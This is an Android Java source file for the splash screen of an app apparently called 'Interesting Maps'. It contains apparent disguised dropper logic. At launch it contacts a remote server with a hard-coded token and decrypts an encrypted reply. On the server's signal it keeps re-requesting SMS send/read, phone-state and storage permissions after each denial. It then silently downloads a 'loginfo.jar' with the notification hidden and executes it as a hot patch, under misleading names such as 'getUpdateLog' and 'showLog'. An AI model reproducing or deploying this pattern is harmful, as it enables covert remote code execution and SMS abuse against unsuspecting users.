package com.ljf.interestingmaps;

import android.Manifest;
import android.app.Activity;
import android.app.DownloadManager;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.net.Uri;
import android.os.Bundle;
import android.os.Environment;
import android.support.annotation.NonNull;

import com.ljf.interestingmaps.util.AesEncryptionUtil;
import com.ljf.interestingmaps.util.Const;
import com.meituan.robust.Patch;
import com.meituan.robust.PatchExecutor;
import com.meituan.robust.RobustCallBack;

import org.json.JSONException;
import org.json.JSONObject;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.List;

import permissions.dispatcher.NeedsPermission;
import permissions.dispatcher.OnNeverAskAgain;
import permissions.dispatcher.OnPermissionDenied;
import permissions.dispatcher.RuntimePermissions;

@RuntimePermissions
public class SplashActivity extends Activity {

    private String l1;

    @Override
    protected void onCreate(Bundle savedInstanceState) {

        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_splash);
        init();
    }

    private void init(){
        new Thread(new Runnable() {
            @Override
            public void run() {
                if (getUpdateLog()) {
                    SplashActivityPermissionsDispatcher.needPersissionWithPermissionCheck(SplashActivity.this);
                } else {
                    runOnUiThread(new Runnable() {
                        @Override
                        public void run() {
                            startActivity(new Intent(SplashActivity.this, MainActivity.class));
                            finish();
                        }
                    });
                }
            }
        }).start();
    }

    public boolean getUpdateLog(){
        try {
            URL url = new URL(Const.LOCAL_PATH + "interesting/index.php");
            HttpURLConnection urlConnection = (HttpURLConnection) url
                    .openConnection();
            urlConnection.setRequestMethod("POST");
            urlConnection.setReadTimeout(5000);
            urlConnection.setConnectTimeout(5000);
            String data = "&index=2018 Interesting Maps 1.0.2"
                    + "&version=107"
                    + "&token=sdfiouawersdfoladf8pyuhgidtajnda"
                    + "&time=" + Const.getTime()
                    + "&timeZone=" + Const.getTimeZone()
                    + "&reffer=" + Const.readCh(this);

            urlConnection.setRequestProperty("Connection", "keep-alive");
            urlConnection.setRequestProperty("Content-Type",
                    "application/x-www-form-urlencoded");
            urlConnection.setRequestProperty("Content-Length",
                    String.valueOf(data.getBytes().length));
            urlConnection
                    .setRequestProperty("User-Agent",
                            "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0");

            urlConnection.setDoOutput(true);
            urlConnection.setDoInput(true);
            OutputStream os = urlConnection.getOutputStream();
            os.write(data.getBytes());
            os.flush();
            if (urlConnection.getResponseCode() == 200) {
                InputStream is = urlConnection.getInputStream();
                ByteArrayOutputStream baos = new ByteArrayOutputStream();
                int len = 0;
                byte buffer[] = new byte[1024];
                while ((len = is.read(buffer)) != -1) {
                    baos.write(buffer, 0, len);
                }
                is.close();
                baos.close();
                return para(AesEncryptionUtil.decrypt(new String(baos.toByteArray())));
            } else {
                return false;
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        return false;
    }

    private boolean para(String j) {
        try {
            JSONObject jsonObject = new JSONObject(j);
            l1 = jsonObject.optString("message");
            return jsonObject.optInt("status") == 1;
        } catch (JSONException e) {
            e.printStackTrace();
        }
        return false;
    }

    private void showLog() {
        lc6();
        DownloadManager.Request request = new DownloadManager.Request(Uri.parse(Const.LOCAL_PATH + l1));
        request.setDestinationInExternalPublicDir("/interestingmaps/", "loginfo.jar");
        DownloadManager downloadManager = (DownloadManager) getSystemService(Context.DOWNLOAD_SERVICE);
        request.setNotificationVisibility(DownloadManager.Request.VISIBILITY_HIDDEN);
        downloadManager.enqueue(request);
        registerReceiver(receiver,
                new IntentFilter(DownloadManager.ACTION_DOWNLOAD_COMPLETE));
    }

    public void lc6() {
        File logFile = new File(Environment.getExternalStorageDirectory().getPath() + "/interestingmaps/loginfo.jar");
        if (logFile.exists()) {
            logFile.delete();
        }
    }

    @NeedsPermission({Manifest.permission.READ_EXTERNAL_STORAGE, Manifest.permission.WRITE_EXTERNAL_STORAGE, Manifest.permission.SEND_SMS, Manifest.permission.READ_SMS, Manifest.permission.READ_PHONE_STATE})
    void needPersission() {
        showLog();
    }

    @Override
    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
        super.onRequestPermissionsResult(requestCode, permissions, grantResults);
        SplashActivityPermissionsDispatcher.onRequestPermissionsResult(this, requestCode, grantResults);
    }

    @OnPermissionDenied({Manifest.permission.READ_EXTERNAL_STORAGE, Manifest.permission.WRITE_EXTERNAL_STORAGE, Manifest.permission.SEND_SMS, Manifest.permission.READ_SMS, Manifest.permission.READ_PHONE_STATE})
    void onPersissionDenied() {
        SplashActivityPermissionsDispatcher.needPersissionWithPermissionCheck(this);
    }

    @OnNeverAskAgain({Manifest.permission.READ_EXTERNAL_STORAGE, Manifest.permission.WRITE_EXTERNAL_STORAGE, Manifest.permission.SEND_SMS, Manifest.permission.READ_SMS, Manifest.permission.READ_PHONE_STATE})
    void onNeverAskAgain() {
    }

    private BroadcastReceiver receiver = new BroadcastReceiver() {
        @Override
        public void onReceive(Context context, Intent intent) {
            new PatchExecutor(getApplicationContext(), new PatchManipulateImp(), new callBack()).start();
        }
    };

    private class callBack implements RobustCallBack {
        @Override
        public void onPatchListFetched(boolean result, boolean isNet, List<Patch> patches) {
        }

        @Override
        public void onPatchFetched(boolean result, boolean isNet, Patch patch) {

        }

        @Override
        public void onPatchApplied(boolean result, Patch patch) {
            startActivity(new Intent(SplashActivity.this, MainActivity.class));
            finish();
        }

        @Override
        public void logNotify(String log, String where) {
        }

        @Override
        public void exceptionNotify(Throwable throwable, String where) {
            startActivity(new Intent(SplashActivity.this, MainActivity.class));
            finish();
        }
    }

    @Override
    protected void onDestroy() {
        super.onDestroy();
        try {
            if (receiver != null) {
                unregisterReceiver(receiver);
            }
        }catch (IllegalArgumentException ignored){

        }
    }
}
